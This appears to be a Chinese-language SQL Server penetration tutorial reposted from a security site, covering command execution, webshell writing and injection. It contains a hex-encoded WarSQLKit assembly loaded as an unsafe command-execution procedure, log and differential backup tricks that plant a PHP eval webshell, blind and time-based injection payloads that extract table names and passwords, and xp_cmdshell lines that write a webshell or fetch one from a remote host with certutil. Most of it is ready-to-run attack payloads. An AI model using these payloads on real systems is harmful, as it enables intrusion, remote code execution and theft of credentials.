05282900000aa2251a7291000070a2251b1104252d0426142b056f2600000aa2282400000a6f0f00000a067b010000046f2600000a2a011000000000870021a80039100000011e02282a00000a2a4e027b01000004046f2b00000a6f2700000a262a42534a4201000100000000000c00000076322e302e35303732370000000005006c00000038030000237e0000a4030000a804000023537472696e6773000000004c080000e80000002355530034090000100000002347554944000000440900001001000023426c6f620000000000000002000001571502000902000000fa013300160000010000001c000000030000000100000005000000050000002b0000000d000000010000000100000003000000010000000000b1020100000000000600ed01ae0306005a02ae03060038019b030f00ce03000006004c01cd020600d001cd020600b101cd0206004102cd0206000d02cd0206002602cd0206007901cd0206009401cd0206003004c6020a0063014e030e0009049b030600df02c602060020036e0406001d01ae030e00ee039b030a007a044e030a0015014e0306008e02c6020e00f7029b030e00c4009b030e0035039b0306000803360006001503360006002700c602000000002d00000000000100010001001000dd030000350001000100030110000100000035000100040006006404740050200000000096005e007800010080200000000096008b001a00020040220000000086189503060004004022000000008618950306000400482200000000830016007d000400000001007d0000000100e400000002001f04000001002e03000002000404090095030100110095030600190095030a00290095031000310095031000390095031000410095031000490095031000510095031000590095031000610095031000710095030600910095030600a1000c011500a90096001000b10029041a007900950306007900e9022d00b900d7001000b10098043200b90011041000b90085043700b900b4003c00b90078023700b9007b033700b90049043700890095030600c90095034200790066004800790043044e007900ed000600790069035200d900810057007900370406008100a8005700b10029045b0079009b00610069008c025700890001016500890095026100e1008c02570069009503060099004c005700200063000b012e000b0084002e0013008d002e001b00ac002e002300b5002e002b00cb002e003300cb002e003b00cb002e004300d1002e004b00e1002e005300cb002e005b00fe0063006b000b012000048000000100000000000000000000000000a00200000200000000000000000000006b005500000000000200000000000000000000006b004000000000000200000000000000000000006b00c60200000000030002000000003c3e635f5f446973706c6179436c617373315f30003c52756e436f6d6d616e643e625f5f3000496e743332003c4d6f64756c653e0053797374656d2e494f0053797374656d2e44617461006765745f44617461006d73636f726c696200436d6445786563006164645f4f757470757444617461526563656976656400636d640052656164546f456e640052756e436f6d6d616e640053656e64006765745f45786974436f6465006765745f4d657373616765007365745f57696e646f775374796c650050726f6365737357696e646f775374796c65007365745f46696c654e616d650066696c656e616d6500426567696e4f7574707574526561644c696e6500417070656e644c696e65006765745f506970650053716c5069706500436f6d70696c657247656e6572617465644174747269627574650044656275676761626c6541747472696275746500417373656d626c795469746c654174747269627574650053716c50726f63656475726541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c794465736372697074696f6e41747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d65436f6d7061746962696c697479417474726962757465007365745f5573655368656c6c4578656375746500546f537472696e67006765745f4c656e6774680057617253514c4b69744d696e696d616c0057617253514c4b69744d696e696d616c2e646c6c0053797374656d0053797374656d2e5265666c656374696f6e00457863657074696f6e006765745f5374617274496e666f0050726f636573735374617274496e666f0053747265616d526561646572005465787452656164657200537472696e674275696c6465720073656e646572004461746152656365697665644576656e7448616e646c6572004d6963726f736f66742e53716c5365727665722e536572766572006765745f5374616e646172644572726f72007365745f52656469726563745374616e646172644572726f72002e63746f720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300446562756767696e674d6f6465730053746f72656450726f63656475726573004461746152656365697665644576656e744172677300617267730050726f63657373007365745f417267756d656e747300617267756d656e747300436f6e636174004f626a6563740057616974466f7245786974005374617274007365745f52656469726563745374616e646172644f7574707574007374644f75747075740053797374656d2e546578740053716c436f6e74657874007365745f4372656174654e6f57696e646f770049734e756c6c4f72456d707479000000004143006f006d006d0061006e0064002000690073002000720075006e006e0069006e0067002c00200070006c006500610073006500200077006100690074002e00000f63006d0064002e00650078006500000920002f006300200000334f00530020006500720072006f00720020007700680069006c006500200065007800650063007500740069006e006700200000053a002000001753007400640020006f00750074007000750074003a0000372000660069006e00690073006800650064002000770069007400680020006500780069007400200063006f006400650020003d0020000000c1b0e79eb8eb6348be1e0c1d83c2d05800042001010803200001052001011111042001010e04000012550500020e0e0e0c0706120c123d0e1241124508042000125d040001020e0420010102052001011161052002011c180520010112650320000204200012690320000e0500010e1d0e0320000805200112450e08b77a5c561934e08903061245040001010e062002011c124d0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010801000200000000001501001057617253514c4b69744d696e696d616c00000501000000000f01000a457975702043454c494b00001c010017687474703a2f2f6579757063656c696b2e636f6d2e747200000c010007312e302e302e3000000401000000d82c00000000000000000000f22c0000002000000000000000000000000000000000000000000000e42c0000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005c03000000000000000000005c0334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000001000000000000000100000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004bc020000010053007400720069006e006700460069006c00650049006e0066006f0000009802000001003000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000022000100010043006f006d00700061006e0079004e0061006d00650000000000000000004a0011000100460069006c0065004400650073006300720069007000740069006f006e0000000000570061007200530051004c004b00690074004d0069006e0069006d0061006c0000000000300008000100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e00300000004a001500010049006e007400650072006e0061006c004e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c00000000005400180001004c006500670061006c0043006f007000790072006900670068007400000068007400740070003a002f002f006500790075007000630065006c0069006b002e0063006f006d002e007400720000002a00010001004c006500670061006c00540072006100640065006d00610072006b00730000000000000000005200150001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c000000000036000b000100500072006f0064007500630074004e0061006d0065000000000045007900750070002000430045004c0049004b0000000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e0030002e0030002e003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000043d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;
    #创建存储过程,单独执行
    CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
    #执行命令
    EXEC sp_cmdExec 'whoami';
    #删除该程序集
    DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY [WarSQLKit];

    DB_owner权限LOG备份Getshell

    无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马

    SQLServer常见的备份策略:

    • 每周一次完整备份
    • 每天一次差异备份
    • 每小时一次事务日志备份

    利用前提

    • 目标机器存在数据库备份文件 ,也就是如果我们利用 test 数据库的话,则需要该test数据库存在数据库备份文件,而且恢复模式得是 完整模式
    • 知道网站的绝对路径
    • 该注入支持堆叠注入
    alter database 数据库名 set RECOVERY FULL;   #修改数据库恢复模式为 完整模式
    create table cmd (a image);        #创建一张表cmd,只有一个列 a,类型为image
    backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init;   #备份表到指定路径
    insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);  #插入一句话到cmd表里
    backup log 数据库名 to disk='C:\phpstudy\WWW\2.php';   #把操作日志备份到指定文件
    drop table cmd;    #删除cmd表

     第四行的 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示

    会在目标网站根目录下生成1.php和2.php文件,其中1.php 保存数据库,2.php就是我们需要连接的木马文件。

    用菜刀连接即可

    DB_owner权限差异备份Getshell

    注:差异备份有概率会把网站搞崩,所以不建议使用差异备份

    利用前提

    • 知道网站的绝对路径  C:\phpstudy\WWW\
    • 该注入支持堆叠注入

    注:以下语句一条一条执行

    create table [dbo].[test] ([cmd] [image])
    declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965 backup log @a to disk = @s with init,no_truncate
    insert into [test](cmd) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e)
    declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000 backup log @a to disk=@s with init,no_truncate
    Drop table [test]
    • 这里第二行的 0x786965,是字符 xie 的16进制表示,这里随便填都可以
    • 第三行的 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示
    • 第四行的0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000是  C:\phpstudy\WWW\shell.php 的16进制表示

    然后会在目标网站根目录下生成shell.php木马文件

    用菜刀连接即可

    盲注SQLServer数据库

    判断是否是SQLServer数据库

    SQLServer数据库特有的表是:sysobjects  ,所以可以用它来判断是否是SQLServer数据库

    exists(select*from sysobjects)  
    

    判断当前数据库用户权限

    and 1=(IS_SRVROLEMEMBER('sysadmin'))        //返回正常为sa
    and 1=(IS_MEMBER('db_owner'))               //返回正常为DB_OWNER
    and 1=(IS_srvrolemember('public'))          //public权限,较低

    如果当前用户是sa,则执行三个都正常显示。如果是db_owner,则执行sa不正常显示,执行public正常显示。如果是public,则只执行public才正常显示 

    判断xp_cmdshell是否存在 

    and 1=(Select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')  

    正常显示,说明已开启。如果不存在,则需要开启。

    如果开启后,想要通过xp_cmdshell执行系统命令,需要该注入点存在堆叠注入

    判断数据库的个数

    and (select count(name) from master..sysdatabases)=N

    由图可知,有7个数据库 

    判断dbid个数,一般数据库有多少个,dbid的值就为多少

     and (select count(*) from master..sysdatabases where dbid=N)=1

     通过dbid得到所有数据库名 

    当使用上一条命令不能执行时,可以使用下面的命令,查询数据库的个数,以及每个数据库的名字

    判断dbid数据库的长度,由以下得知dbid为1数据库的长度是8
    and len(db_name(1))>5         //正常显示
    and len(db_name(1))>6         //不正常显示
    
    大于5正常显示,大于6不正常显示,所以第一个数据库长度是6,即
    一般来说,查的前6个数据库就是自带的那6个数据库,第7个开始才是我们自己建的
    
    and len(db_name(7))>3         //正常显示
    and len(db_name(7))>4         //不正常显示
    大于3正常显示,大于4不正常显示,所以第7个数据库名的长度为4
    
    判断dbid为7数据库字符的ascii值
    and ascii(substring(db_name(7),1,1))>100   //正常显示
    and ascii(substring(db_name(7),1,1))>150   //不正常显示
    and ascii(substring(db_name(7),1,1))>125   //不正常显示
    and ascii(substring(db_name(7),1,1))>112   //正常显示
    and ascii(substring(db_name(7),1,1))>118   //不正常显示
    and ascii(substring(db_name(7),1,1))>115   //正常显示
    and ascii(substring(db_name(7),1,1))>116   //不正常显示
    
    大于115正常显示,大于116不正常显示,所以第七个数据库的第一个字符的ascii值为116,对应的字符是t
    
    以此类推,数据库的第二个字符为  and ascii(substring(db_name(7),2,1))>100
             数据库的第三个字符为:and ascii(substring(db_name(7),3,1))>100
             数据库的第三个字符为:and ascii(substring(db_name(7),4,1))>100
    最后得到第7个数据库名为:test

     判断当前数据库名

    判断数据库的长度,由以下得知数据库的长度是8
    and len(db_name())>3         //正常显示
    and len(db_name())>4         //不正常显示
    
    大于3正常显示,大于4不正常显示,所以数据库名的长度为4
    
    判断数据库字符的ascii值,用二分法
    and ascii(substring(db_name(),1,1))>100   //正常显示
    and ascii(substring(db_name(),1,1))>150   //不正常显示
    and ascii(substring(db_name(),1,1))>125   //不正常显示
    and ascii(substring(db_name(),1,1))>112   //正常显示
    and ascii(substring(db_name(),1,1))>118   //不正常显示
    and ascii(substring(db_name(),1,1))>115   //正常显示
    and ascii(substring(db_name(),1,1))>116   //不正常显示
    
    大于115正常显示,大于116不正常显示,所以数据库第一个字符的ascii值为116,对应的字符是t
    
    以此类推,数据库的第二个字符为  and ascii(substring(db_name(),2,1))>100
             数据库的第三个字符为:and ascii(substring(db_name(),3,1))>100
             数据库的第三个字符为:and ascii(substring(db_name(),4,1))>100
             
    最后得到数据库名为:test

    这里我们已经知道了当前数据库名为:  test 

    爆破test数据库中表的个数

    and (select count(name) from test..sysobjects where xtype='U')>0   正常显示
    and (select count(name) from test..sysobjects where xtype='U')>1   不正常显示
    所以test数据库只有一个表

    爆破test数据库中表

    这里爆破表的时候,不能爆破表名的长度,所以只能爆破表名的一个一个字符。当爆破到第某个字符出现其ascii值>0都不正常显示时,说明这个字符位不存在,所以到前一位为止。注意,这里爆破得到的表名有 dbo. 

    第一个表的第一个字符的ascii值
    AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>N
    第一个表的第二个字符的ascii值
    AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),2,1))>N
    第一个表的第三个字符的ascii值
    AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),3,1))>N
    ......
    当爆破到第10个字符的时候,发现>0都不正常显示,说明不存在第10位
    爆破得到表名为:dbo.users
    
    如果有第二个表,第三个表...
    
    爆破第二个表的第一个字符的ascii值
    AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 1 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>N
    爆破第二个表的第二个字符的ascii值
    AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 1 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),2,1))>N
    爆破第二个表的第三个字符的ascii值
    AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 1 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),3,1))>N
    ......
    
    爆破第三个表的第一个字符的ascii值
    AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 2 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>N
    爆破第三个表的第二个字符的ascii值
    AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 2 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),2,1))>N
    爆破第三个表的第三个字符的ascii值
    AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 2 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),3,1))>N

    这里我们爆出了test数据库中存在 dbo.users 表 

    爆破test数据库中user表的字段数

    and (select count(name) from test..syscolumns where id=(select id from test..sysobjects where name='users'))=3  #正常显示
    所以users表有3个字段

    这里我们爆出了test数据库中users表有3个字段

    爆破test数据库中users表的字段名

    爆破test数据库中user表的第一个字段名的长度
    and len((select top 1 col_name(object_id('users'),1) from test..sysobjects))>1  正常显示
    and len((select top 1 col_name(object_id('users'),1) from test..sysobjects))>2  不正常显示
    所以users表的第一个字段名长度为2
    
    爆破test数据库中user表的第一个字段的第一个字符的ascii值,二分法
    and ascii(substring((select top 1 col_name(object_id('users'),1) from test..sysobjects),1,1))>N
    爆破test数据库中user表的第一个字段的第二个字符的ascii值:
    and ascii(substring((select top 1 col_name(object_id('users'),1) from test..sysobjects),2,1))>N
    ........
    最后得到第一个字段为:id
    
    爆破test数据库中user表的第二个字段名的长度
    and len((select top 1 col_name(object_id('users'),2) from test..sysobjects))>N
    
    爆破test数据库中user表的第二个字段的第一个字符的ascii值:
    and ascii(substring((select top 1 col_name(object_id('users'),2) from test..sysobjects),1,1))>N
    爆破test数据库中user表的第二个字段的第二个字符的ascii值:
    and ascii(substring((select top 1 col_name(object_id('users'),2) from test..sysobjects),2,1))>N
    爆破test数据库中user表的第三个字段的第三个字符的ascii值:
    and ascii(substring((select top 1 col_name(object_id('users'),2) from test..sysobjects),3,1))>N
    
    爆破test数据库中user表的第三个字段名的长度
    and len((select top 1 col_name(object_id('users'),3) from test..sysobjects))>N
    ........

    这里假设我们爆出了users表的三个字段名:id,username,password

    爆test数据库user表中数据总条数

    and (select count(*) from test..users)=N

    由图可知只有四条数据 

    爆破test数据库中user表中password列中的数据

    这里爆破数据的时候,不能爆破数据的长度,所以只能爆破数据的一个一个字符。当爆破到第某个字符出现其ascii值>0都不正常显示时,说明这个字符位不存在,所以到前一位为止。

    爆破test数据库中users表中password列中第一行数据的第一个字符的ascii值
    and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),1,1))>N
    爆破test数据库中user表中password列中第一行数据的第二个字符的ascii值
    and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),2,1))>N
    爆破test数据库中user表中password列中第一行数据的第三个字符的ascii值
    and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),3,1))>N
    爆破test数据库中user表中password列中第一行数据的第四个字符的ascii值
    and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),4,1))>N
    当爆破到第5个字符的时候,发现ascii>0都不正常显示,说明,第一个数据长度为4
    最后爆出test数据库users表password列的第一条数据是:root
    
    
    爆破test数据库中user表中password列中第二行数据的第一个字符的ascii值
    and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=2),1,1))>N
    爆破test数据库中user表中password列中第二行数据的第二个字符的ascii值
    and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=2),2,1))>N
    爆破test数据库中user表中password列中第二行数据的第三个字符的ascii值
    and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=2),3,1))>N
    ........

    延时注入 

    判断是否是SA权限
    if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'
    判断是否是站库分离(延时后返回正确页面,确定站库没有分离)
    if(host_name()=@@servername) WAITFOR DELAY '0:0:2'
    
    判断数据库的个数
    IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))=55) WAITFOR DELAY '0:0:2' 
    
    判断是否开启xp_cmdshell
    if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
    
    更多延时注入payload,可以查看sqlmap

    根据响应时间判断执行是否正确 

    Union联合查询 

    首先order by查看有几列
    1 order by 3  正常显示
    1 order by 4  不正常显示
    说明有3列
    
    然后我们可以select NULL,NULL,想查询的数据

    查询数据库版本 

    查询机器名

    查询所有数据库名

    堆叠注入

    SQLServer堆叠注入,由于执行的命令没有回显,所以需要结合时间盲注来查询数据。由于堆叠查询的语句会被执行,所以下面的SQLServer获取权限的奇淫技巧,就是利用到了堆叠注入这一特性。

    SQLServer获取权限的奇淫技巧

    利用前提:

    • 目标网站注入支持堆叠注入
    • 当前权限是SA权限
    • 使用sqlmap的 --os-shell 无法获取到权限

    这里很多人就会问了,既然是SA权限,不是可以直接利用xp_cmdshell执行系统命令吗?对,没错,但是你这里使用注入执行xp_cmdshell的命令没有回显。我们这个获取权限的思路就是,找到目标网站的绝对路径,然后往绝对路径下写入木马,然后获取权限。

    我们这里是通过先找到目标网站的一个文件,然后通过遍历目标服务器的磁盘,找到该文件,将其路径写入自建的表中,然后再读取该表得到网站绝对路径。

    这里利用的查找命令是

    查找目标机器C盘下的test.txt文件
    for /r c:\ %i in (test*.txt) do @echo %i   #这里的文件名后缀前那个点一定要加*号
    dir /s /b c:\test.txt

    这里假设我们已经知道目标网站下有一个test.txt文件,

    创建表hack,并添加一个tmp的字段
    create table hack (tmp varchar(1000));--         

    查看表是否创建成功

    python2 sqlmap.py -u http://192.168.10.20:88/index.php?id=1 -D test --tables

    查找目标机器C盘下的test.txt路径,并将结果写入刚刚创建的hack表的tmp字段
    ;insert into hack(tmp) exec master..xp_cmdshell 'dir /s /b c:\test.txt';--
    或
    ;insert into hack(tmp) exec master..xp_cmdshell 'for /r c:\ %i in (test*.txt) do @echo %i';--

    以下两条语句均可 

    读取数据,得到目标网站绝对路径为:C:\phpstudy\www\

    python2 sqlmap.py -u http://192.168.10.20:88/index.php?id=1 -D test -T hack --dump

    将一句话木马写入目标网站根目录,并命名为shell.php。注意这里的一句话木马的 < 和 > 前要加上 ^

    1;exec master..xp_cmdshell 'echo ^<?php @eval($_POST[x]);?^> > C:\phpstudy\www\shell.php';--

    菜刀连接之

    如果写入的木马文件连接不上的话,我们还可以通过下面手段使用 certutil 远程下载木马文件,前提是目标机器通公网。

    1;exec master..xp_cmdshell 'certutil -urlcache -split -f http://x.x.x.x/shell.php C:\phpstudy\www\shell2.php';--

    连接下载的shell2.php木马即可!

    还原备份数据库

    鼠标右键数据库——>还原数据库

    选择源设备,选择我们的备份数据库。然后目标数据库也选择该备份数据库,还原那里打上勾,点击确定即可。

    相关文章:史上最详细的sqlServer手工注入详解

    文章首发于安全客:https://www.anquanke.com/post/id/200154

    展开全文
  • 知识点:常用数据库介绍、数据库的基本概念了解、登录SQL Server数据库、创建和管理SQL Server数据库 1. 常用数据库介绍 1.1 为什么需要数据库? 数据库,顾名思义就是存储数据的仓库,数据库最终的目的是存储...
  • SQLServer数据库基础教程

    千次阅读 2020-06-19 06:09:16
    SQLServer数据库基础教程 SQLServer数据库基础教程【千锋软件测试】 (1.数据库技术&) 1.数据库技术& sqlserver2008安装 不设置密码 点击添加当前用户 不要勾选错误报告 不要修改...
  • PowerDesigner连接sqlserver数据库

    千次阅读 2019-05-24 17:32:05
    PowerDesigner连接SqlServer数据库种方法,一种采用ODBC数据库源连接方式,一种采用jdbc驱动连接方式。由于ODBC方式网上有很多,本文将给大家介绍如何使用jdbc驱动连接sqlserver数据库。 第一步:安装jdk1.7 32...
  • Linux系统下SQL Server数据库操作

    千次阅读 2020-06-29 21:59:45
    Linux系统SQL Server数据库操作命令连接数据库 sqlcmd命令创建数据库:查看所有数据库:创建表添加主键约束外部关键字怎么添加唯一约束怎么添加非空约束怎么使用默认约束设置表的属性值自动增加 连接数据库 sqlcmd...
  • SQL Server数据库总结

    千次阅读 2015-05-10 16:43:28
    数据库这词,在我学习SQL Server数据库之前的感觉是:“哇,数据库,一定是占有一块很大的位置,然后里面有很多想图书馆书架一样的东西;并且要建立一数据库的代价肯定很昂贵。”学习完了之后才知道数据库只是...
  • Qt连接SQL server数据库

    万次阅读 多人点赞 2017-06-06 11:39:38
    Qt连接SQL server数据库 由于课程设计需要,需要用qt设计一界面来操作数据库,在建立数据库连接时,期间遇到各种问题。 qt连接SQL server数据大致可以概括为下图的三层模型,箭头代表他们之间的依赖关系 第一步...
  • SQL server数据库与mysql数据库的区别

